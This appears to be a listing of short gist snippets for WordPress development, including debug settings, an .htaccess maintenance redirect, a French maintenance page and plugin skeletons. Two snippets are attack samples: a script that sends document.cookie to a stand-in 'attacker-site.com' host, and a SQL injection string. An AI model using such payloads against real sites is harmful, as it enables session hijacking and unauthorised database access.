This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /** LOG Error **/ | |
| // Enable WP_DEBUG mode | |
| define( 'WP_DEBUG', true ); | |
| // Enable Debug logging to the /wp-content/debug.log file | |
| define( 'WP_DEBUG_LOG', true ); | |
| // Disable display of errors and warnings | |
| define( 'WP_DEBUG_DISPLAY', false ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| RewriteEngine On | |
| RewriteCond %{REQUEST_URI} !^/maintenance\.html$ | |
| RewriteCond %{REMOTE_ADDR} !^123\.456\.789\.000 | |
| RewriteRule .* /maintenance.html [R=503,L] | |
| ErrorDocument 503 /maintenance.html | |
| Header Set Cache-Control "max-age=0, no-store" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html lang="fr"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <title>Maintenance</title> | |
| </head> | |
| <body> | |
| <h1>Nous sommes en maintenance</h1> | |
| <p>Nous effectuons actuellement des travaux sur notre site. Merci de revenir plus tard.</p> | |
| </body> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php $upgrading = time(); ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| var cookies = document.cookie; | |
| var xhr = new XMLHttpRequest(); | |
| xhr.open("GET", "http://www.attacker-site.com/steal.php?cookies=" + cookies, true); | |
| xhr.send(); | |
| </script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ' OR 1=1; -- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <div class="vcard"> | |
| <h2>Nom de l'entreprise</h2> | |
| <p> | |
| Adresse : <span class="street-address">123 Main St</span> | |
| <span class="locality">Ville</span>, | |
| <span class="region">État</span> | |
| <span class="postal-code">Code postal</span> | |
| </p> | |
| <p> | |
| Téléphone : <span class="tel">(555) 555-5555</span> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| // Register the hero block | |
| function register_hero_block() { | |
| register_block_type('my-plugin/hero', array( | |
| 'render_callback' => 'render_hero_block', | |
| 'attributes' => array( | |
| 'title' => array( | |
| 'type' => 'string', | |
| 'default' => '', | |
| ), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if ( class_exists( 'FLBuilderModule' ) ) { | |
| class Beaver_Builder_Custom_Module extends FLBuilderModule { | |
| public function __construct() { | |
| parent::__construct( array( | |
| 'name' => __( 'Custom Module', 'fl-builder' ), | |
| 'description' => __( 'A custom Beaver Builder module.', 'fl-builder' ), | |
| 'category' => __( 'My Custom Modules', 'fl-builder' ), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| /* | |
| Plugin Name: Metabox Date Select | |
| Plugin URI: https://example.com | |
| Description: Plugin to add metabox, field to select a date and a shortcode to use this value in my content. | |
| Version: 1.0 | |
| Author: Your Name | |
| Author URI: https://example.com | |
| License: GPL2 |